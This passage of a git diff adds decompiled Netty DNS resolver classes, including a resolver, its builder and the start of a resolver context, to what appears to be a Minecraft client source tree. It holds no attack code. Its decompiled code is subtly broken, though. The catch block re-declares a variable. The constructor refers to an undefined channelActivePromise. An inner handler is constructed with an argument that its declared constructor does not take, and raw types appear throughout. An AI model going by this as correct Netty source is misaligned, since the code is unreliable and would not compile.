+import io.netty.channel.FixedRecvByteBufAllocator;
+import io.netty.channel.socket.DatagramChannel;
+import io.netty.channel.socket.DatagramChannelConfig;
+import io.netty.channel.socket.InternetProtocolFamily;
+import io.netty.handler.codec.dns.DatagramDnsQueryEncoder;
+import io.netty.handler.codec.dns.DatagramDnsResponse;
+import io.netty.handler.codec.dns.DatagramDnsResponseDecoder;
+import io.netty.handler.codec.dns.DnsQuestion;
+import io.netty.handler.codec.dns.DnsRawRecord;
+import io.netty.handler.codec.dns.DnsRecord;
+import io.netty.handler.codec.dns.DnsResponse;
+import io.netty.resolver.HostsFileEntriesResolver;
+import io.netty.resolver.InetNameResolver;
+import io.netty.util.NetUtil;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.FastThreadLocal;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.lang.reflect.Method;
+import java.net.IDN;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+public class DnsNameResolver
+  extends InetNameResolver
+{
+  private static final InternalLogger logger;
+  private static final String LOCALHOST = "localhost";
+  private static final InetAddress LOCALHOST_ADDRESS;
+  private static final DnsRecord[] EMTPY_ADDITIONALS;
+  static final InternetProtocolFamily[] DEFAULT_RESOLVE_ADDRESS_TYPES;
+  static final String[] DEFAULT_SEACH_DOMAINS;
+  
+  static
+  {
+    logger = InternalLoggerFactory.getInstance(DnsNameResolver.class);
+    
+
+    EMTPY_ADDITIONALS = new DnsRecord[0];
+    
+
+
+
+
+    if (NetUtil.isIpV4StackPreferred()) {
+      DEFAULT_RESOLVE_ADDRESS_TYPES = new InternetProtocolFamily[] { InternetProtocolFamily.IPv4 };
+      LOCALHOST_ADDRESS = NetUtil.LOCALHOST4;
+    } else {
+      DEFAULT_RESOLVE_ADDRESS_TYPES = new InternetProtocolFamily[2];
+      if (NetUtil.isIpV6AddressesPreferred()) {
+        DEFAULT_RESOLVE_ADDRESS_TYPES[0] = InternetProtocolFamily.IPv6;
+        DEFAULT_RESOLVE_ADDRESS_TYPES[1] = InternetProtocolFamily.IPv4;
+        LOCALHOST_ADDRESS = NetUtil.LOCALHOST6;
+      } else {
+        DEFAULT_RESOLVE_ADDRESS_TYPES[0] = InternetProtocolFamily.IPv4;
+        DEFAULT_RESOLVE_ADDRESS_TYPES[1] = InternetProtocolFamily.IPv6;
+        LOCALHOST_ADDRESS = NetUtil.LOCALHOST4;
+      }
+    }
+    
+    String[] searchDomains;
+    
+    try
+    {
+      Class<?> configClass = Class.forName("sun.net.dns.ResolverConfiguration");
+      Method open = configClass.getMethod("open", new Class[0]);
+      Method nameservers = configClass.getMethod("searchlist", new Class[0]);
+      Object instance = open.invoke(null, new Object[0]);
+      
+
+      List<String> list = (List)nameservers.invoke(instance, new Object[0]);
+      searchDomains = (String[])list.toArray(new String[list.size()]);
+    } catch (Exception ignore) {
+      String[] searchDomains;
+      searchDomains = EmptyArrays.EMPTY_STRINGS;
+    }
+    DEFAULT_SEACH_DOMAINS = searchDomains;
+  }
+  
+  private static final DatagramDnsResponseDecoder DECODER = new DatagramDnsResponseDecoder();
+  private static final DatagramDnsQueryEncoder ENCODER = new DatagramDnsQueryEncoder();
+  
+
+  final DnsServerAddresses nameServerAddresses;
+  
+  final Future<Channel> channelFuture;
+  
+  final DatagramChannel ch;
+  
+  final DnsQueryContextManager queryContextManager = new DnsQueryContextManager();
+  
+
+
+  private final DnsCache resolveCache;
+  
+
+  private final FastThreadLocal<DnsServerAddressStream> nameServerAddrStream = new FastThreadLocal()
+  {
+    protected DnsServerAddressStream initialValue() throws Exception
+    {
+      return nameServerAddresses.stream();
+    }
+  };
+  
+
+
+
+  private final long queryTimeoutMillis;
+  
+
+
+
+  private final int maxQueriesPerResolve;
+  
+
+
+  private final boolean traceEnabled;
+  
+
+
+  private final InternetProtocolFamily[] resolvedAddressTypes;
+  
+
+
+  private final boolean recursionDesired;
+  
+
+
+  private final int maxPayloadSize;
+  
+
+
+  private final boolean optResourceEnabled;
+  
+
+
+  private final HostsFileEntriesResolver hostsFileEntriesResolver;
+  
+
+
+  private final String[] searchDomains;
+  
+
+
+  private final int ndots;
+  
+
+
+
+  public DnsNameResolver(EventLoop eventLoop, ChannelFactory<? extends DatagramChannel> channelFactory, DnsServerAddresses nameServerAddresses, final DnsCache resolveCache, long queryTimeoutMillis, InternetProtocolFamily[] resolvedAddressTypes, boolean recursionDesired, int maxQueriesPerResolve, boolean traceEnabled, int maxPayloadSize, boolean optResourceEnabled, HostsFileEntriesResolver hostsFileEntriesResolver, String[] searchDomains, int ndots)
+  {
+    super(eventLoop);
+    ObjectUtil.checkNotNull(channelFactory, "channelFactory");
+    this.nameServerAddresses = ((DnsServerAddresses)ObjectUtil.checkNotNull(nameServerAddresses, "nameServerAddresses"));
+    this.queryTimeoutMillis = ObjectUtil.checkPositive(queryTimeoutMillis, "queryTimeoutMillis");
+    this.resolvedAddressTypes = ((InternetProtocolFamily[])ObjectUtil.checkNonEmpty(resolvedAddressTypes, "resolvedAddressTypes"));
+    this.recursionDesired = recursionDesired;
+    this.maxQueriesPerResolve = ObjectUtil.checkPositive(maxQueriesPerResolve, "maxQueriesPerResolve");
+    this.traceEnabled = traceEnabled;
+    this.maxPayloadSize = ObjectUtil.checkPositive(maxPayloadSize, "maxPayloadSize");
+    this.optResourceEnabled = optResourceEnabled;
+    this.hostsFileEntriesResolver = ((HostsFileEntriesResolver)ObjectUtil.checkNotNull(hostsFileEntriesResolver, "hostsFileEntriesResolver"));
+    this.resolveCache = resolveCache;
+    this.searchDomains = ((String[])((String[])ObjectUtil.checkNotNull(searchDomains, "searchDomains")).clone());
+    this.ndots = ObjectUtil.checkPositiveOrZero(ndots, "ndots");
+    
+    Bootstrap b = new Bootstrap();
+    b.group(executor());
+    b.channelFactory(channelFactory);
+    b.option(ChannelOption.DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION, Boolean.valueOf(true));
+    final DnsResponseHandler responseHandler = new DnsResponseHandler(executor().newPromise());
+    b.handler(new ChannelInitializer()
+    {
+      protected void initChannel(DatagramChannel ch) throws Exception {
+        ch.pipeline().addLast(new ChannelHandler[] { DnsNameResolver.DECODER, DnsNameResolver.ENCODER, responseHandler });
+      }
+      
+    });
+    channelFuture = channelActivePromise;
+    ch = ((DatagramChannel)b.register().channel());
+    ch.config().setRecvByteBufAllocator(new FixedRecvByteBufAllocator(maxPayloadSize));
+    
+    ch.closeFuture().addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture future) throws Exception {
+        resolveCache.clear();
+      }
+    });
+  }
+  
+
+
+  public DnsCache resolveCache()
+  {
+    return resolveCache;
+  }
+  
+
+
+
+  public long queryTimeoutMillis()
+  {
+    return queryTimeoutMillis;
+  }
+  
+
+
+
+
+  public List<InternetProtocolFamily> resolvedAddressTypes()
+  {
+    return Arrays.asList(resolvedAddressTypes);
+  }
+  
+  InternetProtocolFamily[] resolveAddressTypesUnsafe() {
+    return resolvedAddressTypes;
+  }
+  
+  final String[] searchDomains() {
+    return searchDomains;
+  }
+  
+  final int ndots() {
+    return ndots;
+  }
+  
+
+
+
+  public boolean isRecursionDesired()
+  {
+    return recursionDesired;
+  }
+  
+
+
+
+  public int maxQueriesPerResolve()
+  {
+    return maxQueriesPerResolve;
+  }
+  
+
+
+
+  public boolean isTraceEnabled()
+  {
+    return traceEnabled;
+  }
+  
+
+
+  public int maxPayloadSize()
+  {
+    return maxPayloadSize;
+  }
+  
+
+
+
+  public boolean isOptResourceEnabled()
+  {
+    return optResourceEnabled;
+  }
+  
+
+
+
+  public HostsFileEntriesResolver hostsFileEntriesResolver()
+  {
+    return hostsFileEntriesResolver;
+  }
+  
+
+
+
+
+
+  public void close()
+  {
+    if (ch.isOpen()) {
+      ch.close();
+    }
+  }
+  
+  protected EventLoop executor()
+  {
+    return (EventLoop)super.executor();
+  }
+  
+  private InetAddress resolveHostsFileEntry(String hostname) {
+    if (hostsFileEntriesResolver == null) {
+      return null;
+    }
+    InetAddress address = hostsFileEntriesResolver.address(hostname);
+    if ((address == null) && (PlatformDependent.isWindows()) && ("localhost".equalsIgnoreCase(hostname)))
+    {
+
+
+      return LOCALHOST_ADDRESS;
+    }
+    return address;
+  }
+  
+
+
+
+
+
+
+
+
+  public final Future<InetAddress> resolve(String inetHost, Iterable<DnsRecord> additionals)
+  {
+    return resolve(inetHost, additionals, executor().newPromise());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final Future<InetAddress> resolve(String inetHost, Iterable<DnsRecord> additionals, Promise<InetAddress> promise)
+  {
+    ObjectUtil.checkNotNull(inetHost, "inetHost");
+    ObjectUtil.checkNotNull(promise, "promise");
+    DnsRecord[] additionalsArray = toArray(additionals, true);
+    try {
+      doResolve(inetHost, additionalsArray, promise, resolveCache);
+      return promise;
+    } catch (Exception e) {
+      return promise.setFailure(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final Future<List<InetAddress>> resolveAll(String inetHost, Iterable<DnsRecord> additionals)
+  {
+    return resolveAll(inetHost, additionals, executor().newPromise());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final Future<List<InetAddress>> resolveAll(String inetHost, Iterable<DnsRecord> additionals, Promise<List<InetAddress>> promise)
+  {
+    ObjectUtil.checkNotNull(inetHost, "inetHost");
+    ObjectUtil.checkNotNull(promise, "promise");
+    DnsRecord[] additionalsArray = toArray(additionals, true);
+    try {
+      doResolveAll(inetHost, additionalsArray, promise, resolveCache);
+      return promise;
+    } catch (Exception e) {
+      return promise.setFailure(e);
+    }
+  }
+  
+  protected void doResolve(String inetHost, Promise<InetAddress> promise) throws Exception
+  {
+    doResolve(inetHost, EMTPY_ADDITIONALS, promise, resolveCache);
+  }
+  
+  private static DnsRecord[] toArray(Iterable<DnsRecord> additionals, boolean validateType) {
+    ObjectUtil.checkNotNull(additionals, "additionals");
+    if ((additionals instanceof Collection)) {
+      Collection<DnsRecord> records = (Collection)additionals;
+      for (DnsRecord r : additionals) {
+        validateAdditional(r, validateType);
+      }
+      return (DnsRecord[])records.toArray(new DnsRecord[records.size()]);
+    }
+    
+    Iterator<DnsRecord> additionalsIt = additionals.iterator();
+    if (!additionalsIt.hasNext()) {
+      return EMTPY_ADDITIONALS;
+    }
+    List<DnsRecord> records = new ArrayList();
+    do {
+      DnsRecord r = (DnsRecord)additionalsIt.next();
+      validateAdditional(r, validateType);
+      records.add(r);
+    } while (additionalsIt.hasNext());
+    
+    return (DnsRecord[])records.toArray(new DnsRecord[records.size()]);
+  }
+  
+  private static void validateAdditional(DnsRecord record, boolean validateType) {
+    ObjectUtil.checkNotNull(record, "record");
+    if ((validateType) && ((record instanceof DnsRawRecord))) {
+      throw new IllegalArgumentException("DnsRawRecord implementations not allowed: " + record);
+    }
+  }
+  
+
+
+
+
+
+  protected void doResolve(String inetHost, DnsRecord[] additionals, Promise<InetAddress> promise, DnsCache resolveCache)
+    throws Exception
+  {
+    byte[] bytes = NetUtil.createByteArrayFromIpAddressString(inetHost);
+    if (bytes != null)
+    {
+      promise.setSuccess(InetAddress.getByAddress(bytes));
+      return;
+    }
+    
+    String hostname = hostname(inetHost);
+    
+    InetAddress hostsFileEntry = resolveHostsFileEntry(hostname);
+    if (hostsFileEntry != null) {
+      promise.setSuccess(hostsFileEntry);
+      return;
+    }
+    
+    if (!doResolveCached(hostname, additionals, promise, resolveCache)) {
+      doResolveUncached(hostname, additionals, promise, resolveCache);
+    }
+  }
+  
+
+
+  private boolean doResolveCached(String hostname, DnsRecord[] additionals, Promise<InetAddress> promise, DnsCache resolveCache)
+  {
+    List<DnsCacheEntry> cachedEntries = resolveCache.get(hostname, additionals);
+    if ((cachedEntries == null) || (cachedEntries.isEmpty())) {
+      return false;
+    }
+    
+    InetAddress address = null;
+    Throwable cause = null;
+    synchronized (cachedEntries) {
+      int numEntries = cachedEntries.size();
+      assert (numEntries > 0);
+      
+      if (((DnsCacheEntry)cachedEntries.get(0)).cause() != null) {
+        cause = ((DnsCacheEntry)cachedEntries.get(0)).cause();
+      }
+      else {
+        for (InternetProtocolFamily f : resolvedAddressTypes) {
+          for (int i = 0; i < numEntries; i++) {
+            DnsCacheEntry e = (DnsCacheEntry)cachedEntries.get(i);
+            if (f.addressType().isInstance(e.address())) {
+              address = e.address();
+              break;
+            }
+          }
+        }
+      }
+    }
+    
+    if (address != null) {
+      trySuccess(promise, address);
+      return true;
+    }
+    if (cause != null) {
+      tryFailure(promise, cause);
+      return true;
+    }
+    return false;
+  }
+  
+  private static <T> void trySuccess(Promise<T> promise, T result) {
+    if (!promise.trySuccess(result)) {
+      logger.warn("Failed to notify success ({}) to a promise: {}", result, promise);
+    }
+  }
+  
+  private static void tryFailure(Promise<?> promise, Throwable cause) {
+    if (!promise.tryFailure(cause)) {
+      logger.warn("Failed to notify failure to a promise: {}", promise, cause);
+    }
+  }
+  
+
+
+  private void doResolveUncached(String hostname, DnsRecord[] additionals, Promise<InetAddress> promise, DnsCache resolveCache)
+  {
+    SingleResolverContext ctx = new SingleResolverContext(this, hostname, additionals, resolveCache);
+    ctx.resolve(promise);
+  }
+  
+  static final class SingleResolverContext extends DnsNameResolverContext<InetAddress>
+  {
+    SingleResolverContext(DnsNameResolver parent, String hostname, DnsRecord[] additionals, DnsCache resolveCache)
+    {
+      super(hostname, additionals, resolveCache);
+    }
+    
+
+    DnsNameResolverContext<InetAddress> newResolverContext(DnsNameResolver parent, String hostname, DnsRecord[] additionals, DnsCache resolveCache)
+    {
+      return new SingleResolverContext(parent, hostname, additionals, resolveCache);
+    }
+    
+
+
+
+    boolean finishResolve(Class<? extends InetAddress> addressType, List<DnsCacheEntry> resolvedEntries, Promise<InetAddress> promise)
+    {
+      int numEntries = resolvedEntries.size();
+      for (int i = 0; i < numEntries; i++) {
+        InetAddress a = ((DnsCacheEntry)resolvedEntries.get(i)).address();
+        if (addressType.isInstance(a)) {
+          DnsNameResolver.trySuccess(promise, a);
+          return true;
+        }
+      }
+      return false;
+    }
+  }
+  
+  protected void doResolveAll(String inetHost, Promise<List<InetAddress>> promise) throws Exception
+  {
+    doResolveAll(inetHost, EMTPY_ADDITIONALS, promise, resolveCache);
+  }
+  
+
+
+
+
+
+  protected void doResolveAll(String inetHost, DnsRecord[] additionals, Promise<List<InetAddress>> promise, DnsCache resolveCache)
+    throws Exception
+  {
+    byte[] bytes = NetUtil.createByteArrayFromIpAddressString(inetHost);
+    if (bytes != null)
+    {
+      promise.setSuccess(Collections.singletonList(InetAddress.getByAddress(bytes)));
+      return;
+    }
+    
+    String hostname = hostname(inetHost);
+    
+    InetAddress hostsFileEntry = resolveHostsFileEntry(hostname);
+    if (hostsFileEntry != null) {
+      promise.setSuccess(Collections.singletonList(hostsFileEntry));
+      return;
+    }
+    
+    if (!doResolveAllCached(hostname, additionals, promise, resolveCache)) {
+      doResolveAllUncached(hostname, additionals, promise, resolveCache);
+    }
+  }
+  
+
+
+  private boolean doResolveAllCached(String hostname, DnsRecord[] additionals, Promise<List<InetAddress>> promise, DnsCache resolveCache)
+  {
+    List<DnsCacheEntry> cachedEntries = resolveCache.get(hostname, additionals);
+    if ((cachedEntries == null) || (cachedEntries.isEmpty())) {
+      return false;
+    }
+    
+    List<InetAddress> result = null;
+    Throwable cause = null;
+    synchronized (cachedEntries) {
+      int numEntries = cachedEntries.size();
+      assert (numEntries > 0);
+      
+      if (((DnsCacheEntry)cachedEntries.get(0)).cause() != null) {
+        cause = ((DnsCacheEntry)cachedEntries.get(0)).cause();
+      } else {
+        for (InternetProtocolFamily f : resolvedAddressTypes) {
+          for (int i = 0; i < numEntries; i++) {
+            DnsCacheEntry e = (DnsCacheEntry)cachedEntries.get(i);
+            if (f.addressType().isInstance(e.address())) {
+              if (result == null) {
+                result = new ArrayList(numEntries);
+              }
+              result.add(e.address());
+            }
+          }
+        }
+      }
+    }
+    
+    if (result != null) {
+      trySuccess(promise, result);
+      return true;
+    }
+    if (cause != null) {
+      tryFailure(promise, cause);
+      return true;
+    }
+    return false;
+  }
+  
+  static final class ListResolverContext extends DnsNameResolverContext<List<InetAddress>>
+  {
+    ListResolverContext(DnsNameResolver parent, String hostname, DnsRecord[] additionals, DnsCache resolveCache) {
+      super(hostname, additionals, resolveCache);
+    }
+    
+
+    DnsNameResolverContext<List<InetAddress>> newResolverContext(DnsNameResolver parent, String hostname, DnsRecord[] additionals, DnsCache resolveCache)
+    {
+      return new ListResolverContext(parent, hostname, additionals, resolveCache);
+    }
+    
+
+
+
+    boolean finishResolve(Class<? extends InetAddress> addressType, List<DnsCacheEntry> resolvedEntries, Promise<List<InetAddress>> promise)
+    {
+      List<InetAddress> result = null;
+      int numEntries = resolvedEntries.size();
+      for (int i = 0; i < numEntries; i++) {
+        InetAddress a = ((DnsCacheEntry)resolvedEntries.get(i)).address();
+        if (addressType.isInstance(a)) {
+          if (result == null) {
+            result = new ArrayList(numEntries);
+          }
+          result.add(a);
+        }
+      }
+      
+      if (result != null) {
+        promise.trySuccess(result);
+        return true;
+      }
+      return false;
+    }
+  }
+  
+
+
+  private void doResolveAllUncached(String hostname, DnsRecord[] additionals, Promise<List<InetAddress>> promise, DnsCache resolveCache)
+  {
+    DnsNameResolverContext<List<InetAddress>> ctx = new ListResolverContext(this, hostname, additionals, resolveCache);
+    
+    ctx.resolve(promise);
+  }
+  
+  private static String hostname(String inetHost) {
+    String hostname = IDN.toASCII(inetHost);
+    
+    if ((StringUtil.endsWith(inetHost, '.')) && (!StringUtil.endsWith(hostname, '.'))) {
+      hostname = hostname + ".";
+    }
+    return hostname;
+  }
+  
+
+
+  public Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> query(DnsQuestion question)
+  {
+    return query(nextNameServerAddress(), question);
+  }
+  
+
+
+
+  public Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> query(DnsQuestion question, Iterable<DnsRecord> additionals)
+  {
+    return query(nextNameServerAddress(), question, additionals);
+  }
+  
+
+
+
+  public Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> query(DnsQuestion question, Promise<AddressedEnvelope<? extends DnsResponse, InetSocketAddress>> promise)
+  {
+    return query(nextNameServerAddress(), question, Collections.emptyList(), promise);
+  }
+  
+  private InetSocketAddress nextNameServerAddress() {
+    return ((DnsServerAddressStream)nameServerAddrStream.get()).next();
+  }
+  
+
+
+
+
+  public Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> query(InetSocketAddress nameServerAddr, DnsQuestion question)
+  {
+    return query0(nameServerAddr, question, EMTPY_ADDITIONALS, ch.eventLoop().newPromise());
+  }
+  
+
+
+
+
+
+  public Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> query(InetSocketAddress nameServerAddr, DnsQuestion question, Iterable<DnsRecord> additionals)
+  {
+    return query0(nameServerAddr, question, toArray(additionals, false), ch.eventLoop().newPromise());
+  }
+  
+
+
+
+
+
+
+  public Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> query(InetSocketAddress nameServerAddr, DnsQuestion question, Promise<AddressedEnvelope<? extends DnsResponse, InetSocketAddress>> promise)
+  {
+    return query0(nameServerAddr, question, EMTPY_ADDITIONALS, promise);
+  }
+  
+
+
+
+
+
+
+  public Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> query(InetSocketAddress nameServerAddr, DnsQuestion question, Iterable<DnsRecord> additionals, Promise<AddressedEnvelope<? extends DnsResponse, InetSocketAddress>> promise)
+  {
+    return query0(nameServerAddr, question, toArray(additionals, false), promise);
+  }
+  
+
+
+
+  Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> query0(InetSocketAddress nameServerAddr, DnsQuestion question, DnsRecord[] additionals, Promise<AddressedEnvelope<? extends DnsResponse, InetSocketAddress>> promise)
+  {
+    Promise<AddressedEnvelope<DnsResponse, InetSocketAddress>> castPromise = cast((Promise)ObjectUtil.checkNotNull(promise, "promise"));
+    try
+    {
+      new DnsQueryContext(this, nameServerAddr, question, additionals, castPromise).query();
+      return castPromise;
+    } catch (Exception e) {
+      return castPromise.setFailure(e);
+    }
+  }
+  
+  private static Promise<AddressedEnvelope<DnsResponse, InetSocketAddress>> cast(Promise<?> promise)
+  {
+    return promise;
+  }
+  
+  private final class DnsResponseHandler extends ChannelInboundHandlerAdapter
+  {
+    private final Promise<Channel> channelActivePromise;
+    
+    DnsResponseHandler() {
+      this.channelActivePromise = channelActivePromise;
+    }
+    
+    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+    {
+      try {
+        DatagramDnsResponse res = (DatagramDnsResponse)msg;
+        int queryId = res.id();
+        
+        if (DnsNameResolver.logger.isDebugEnabled()) {
+          DnsNameResolver.logger.debug("{} RECEIVED: [{}: {}], {}", new Object[] { ch, Integer.valueOf(queryId), res.sender(), res });
+        }
+        
+        DnsQueryContext qCtx = queryContextManager.get(res.sender(), queryId);
+        if (qCtx == null) {
+          DnsNameResolver.logger.warn("{} Received a DNS response with an unknown ID: {}", ch, Integer.valueOf(queryId));
+        }
+        else
+        {
+          qCtx.finish(res); }
+      } finally {
+        ReferenceCountUtil.safeRelease(msg);
+      }
+    }
+    
+    public void channelActive(ChannelHandlerContext ctx) throws Exception
+    {
+      super.channelActive(ctx);
+      channelActivePromise.setSuccess(ctx.channel());
+    }
+    
+    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+    {
+      DnsNameResolver.logger.warn("{} Unexpected exception: ", ch, cause);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsNameResolverBuilder.java b/src/minecraft/io/netty/resolver/dns/DnsNameResolverBuilder.java
new file mode 100644
index 0000000..2a2cbf8
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsNameResolverBuilder.java
@@ -0,0 +1,350 @@
+package io.netty.resolver.dns;
+
+import io.netty.channel.ChannelFactory;
+import io.netty.channel.EventLoop;
+import io.netty.channel.ReflectiveChannelFactory;
+import io.netty.channel.socket.DatagramChannel;
+import io.netty.channel.socket.InternetProtocolFamily;
+import io.netty.resolver.HostsFileEntriesResolver;
+import io.netty.util.internal.InternalThreadLocalMap;
+import io.netty.util.internal.ObjectUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DnsNameResolverBuilder
+{
+  private final EventLoop eventLoop;
+  private ChannelFactory<? extends DatagramChannel> channelFactory;
+  private DnsServerAddresses nameServerAddresses = DnsServerAddresses.defaultAddresses();
+  private DnsCache resolveCache;
+  private Integer minTtl;
+  private Integer maxTtl;
+  private Integer negativeTtl;
+  private long queryTimeoutMillis = 5000L;
+  private InternetProtocolFamily[] resolvedAddressTypes = DnsNameResolver.DEFAULT_RESOLVE_ADDRESS_TYPES;
+  private boolean recursionDesired = true;
+  private int maxQueriesPerResolve = 16;
+  private boolean traceEnabled;
+  private int maxPayloadSize = 4096;
+  private boolean optResourceEnabled = true;
+  private HostsFileEntriesResolver hostsFileEntriesResolver = HostsFileEntriesResolver.DEFAULT;
+  private String[] searchDomains = DnsNameResolver.DEFAULT_SEACH_DOMAINS;
+  private int ndots = 1;
+  
+
+
+
+
+
+  public DnsNameResolverBuilder(EventLoop eventLoop)
+  {
+    this.eventLoop = eventLoop;
+  }
+  
+
+
+
+
+
+  public DnsNameResolverBuilder channelFactory(ChannelFactory<? extends DatagramChannel> channelFactory)
+  {
+    this.channelFactory = channelFactory;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public DnsNameResolverBuilder channelType(Class<? extends DatagramChannel> channelType)
+  {
+    return channelFactory(new ReflectiveChannelFactory(channelType));
+  }
+  
+
+
+
+
+
+  public DnsNameResolverBuilder nameServerAddresses(DnsServerAddresses nameServerAddresses)
+  {
+    this.nameServerAddresses = nameServerAddresses;
+    return this;
+  }
+  
+
+
+
+
+
+  public DnsNameResolverBuilder resolveCache(DnsCache resolveCache)
+  {
+    this.resolveCache = resolveCache;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public DnsNameResolverBuilder ttl(int minTtl, int maxTtl)
+  {
+    this.maxTtl = Integer.valueOf(maxTtl);
+    this.minTtl = Integer.valueOf(minTtl);
+    return this;
+  }
+  
+
+
+
+
+
+  public DnsNameResolverBuilder negativeTtl(int negativeTtl)
+  {
+    this.negativeTtl = Integer.valueOf(negativeTtl);
+    return this;
+  }
+  
+
+
+
+
+
+  public DnsNameResolverBuilder queryTimeoutMillis(long queryTimeoutMillis)
+  {
+    this.queryTimeoutMillis = queryTimeoutMillis;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public DnsNameResolverBuilder resolvedAddressTypes(InternetProtocolFamily... resolvedAddressTypes)
+  {
+    ObjectUtil.checkNotNull(resolvedAddressTypes, "resolvedAddressTypes");
+    
+    List<InternetProtocolFamily> list = InternalThreadLocalMap.get().arrayList(InternetProtocolFamily.values().length);
+    
+
+    for (InternetProtocolFamily f : resolvedAddressTypes) {
+      if (f == null) {
+        break;
+      }
+      
+
+      if (!list.contains(f))
+      {
+
+
+        list.add(f);
+      }
+    }
+    if (list.isEmpty()) {
+      throw new IllegalArgumentException("no protocol family specified");
+    }
+    
+    this.resolvedAddressTypes = ((InternetProtocolFamily[])list.toArray(new InternetProtocolFamily[list.size()]));
+    
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public DnsNameResolverBuilder resolvedAddressTypes(Iterable<InternetProtocolFamily> resolvedAddressTypes)
+  {
+    ObjectUtil.checkNotNull(resolvedAddressTypes, "resolveAddressTypes");
+    
+    List<InternetProtocolFamily> list = InternalThreadLocalMap.get().arrayList(InternetProtocolFamily.values().length);
+    
+
+    for (InternetProtocolFamily f : resolvedAddressTypes) {
+      if (f == null) {
+        break;
+      }
+      
+
+      if (!list.contains(f))
+      {
+
+
+        list.add(f);
+      }
+    }
+    if (list.isEmpty()) {
+      throw new IllegalArgumentException("no protocol family specified");
+    }
+    
+    this.resolvedAddressTypes = ((InternetProtocolFamily[])list.toArray(new InternetProtocolFamily[list.size()]));
+    
+    return this;
+  }
+  
+
+
+
+
+
+  public DnsNameResolverBuilder recursionDesired(boolean recursionDesired)
+  {
+    this.recursionDesired = recursionDesired;
+    return this;
+  }
+  
+
+
+
+
+
+  public DnsNameResolverBuilder maxQueriesPerResolve(int maxQueriesPerResolve)
+  {
+    this.maxQueriesPerResolve = maxQueriesPerResolve;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public DnsNameResolverBuilder traceEnabled(boolean traceEnabled)
+  {
+    this.traceEnabled = traceEnabled;
+    return this;
+  }
+  
+
+
+
+
+
+  public DnsNameResolverBuilder maxPayloadSize(int maxPayloadSize)
+  {
+    this.maxPayloadSize = maxPayloadSize;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public DnsNameResolverBuilder optResourceEnabled(boolean optResourceEnabled)
+  {
+    this.optResourceEnabled = optResourceEnabled;
+    return this;
+  }
+  
+
+
+
+
+  public DnsNameResolverBuilder hostsFileEntriesResolver(HostsFileEntriesResolver hostsFileEntriesResolver)
+  {
+    this.hostsFileEntriesResolver = hostsFileEntriesResolver;
+    return this;
+  }
+  
+
+
+
+
+
+  public DnsNameResolverBuilder searchDomains(Iterable<String> searchDomains)
+  {
+    ObjectUtil.checkNotNull(searchDomains, "searchDomains");
+    
+    List<String> list = InternalThreadLocalMap.get().arrayList(4);
+    
+
+    for (String f : searchDomains) {
+      if (f == null) {
+        break;
+      }
+      
+
+      if (!list.contains(f))
+      {
+
+
+        list.add(f);
+      }
+    }
+    this.searchDomains = ((String[])list.toArray(new String[list.size()]));
+    return this;
+  }
+  
+
+
+
+
+
+
+  public DnsNameResolverBuilder ndots(int ndots)
+  {
+    this.ndots = ndots;
+    return this;
+  }
+  
+
+
+
+
+
+  public DnsNameResolver build()
+  {
+    if ((resolveCache != null) && ((minTtl != null) || (maxTtl != null) || (negativeTtl != null))) {
+      throw new IllegalStateException("resolveCache and TTLs are mutually exclusive");
+    }
+    
+    DnsCache cache = resolveCache != null ? resolveCache : new DefaultDnsCache(ObjectUtil.intValue(minTtl, 0), ObjectUtil.intValue(maxTtl, Integer.MAX_VALUE), ObjectUtil.intValue(negativeTtl, 0));
+    
+
+    return new DnsNameResolver(eventLoop, channelFactory, nameServerAddresses, cache, queryTimeoutMillis, resolvedAddressTypes, recursionDesired, maxQueriesPerResolve, traceEnabled, maxPayloadSize, optResourceEnabled, hostsFileEntriesResolver, searchDomains, ndots);
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsNameResolverContext.java b/src/minecraft/io/netty/resolver/dns/DnsNameResolverContext.java
new file mode 100644
index 0000000..2d25830
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsNameResolverContext.java
@@ -0,0 +1,551 @@
+package io.netty.resolver.dns;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+import io.netty.channel.AddressedEnvelope;
+import io.netty.channel.EventLoop;
+import io.netty.channel.socket.DatagramChannel;
+import io.netty.channel.socket.InternetProtocolFamily;
+import io.netty.handler.codec.CorruptedFrameException;
+import io.netty.handler.codec.dns.DefaultDnsQuestion;
+import io.netty.handler.codec.dns.DefaultDnsRecordDecoder;
+import io.netty.handler.codec.dns.DnsQuestion;
+import io.netty.handler.codec.dns.DnsRawRecord;
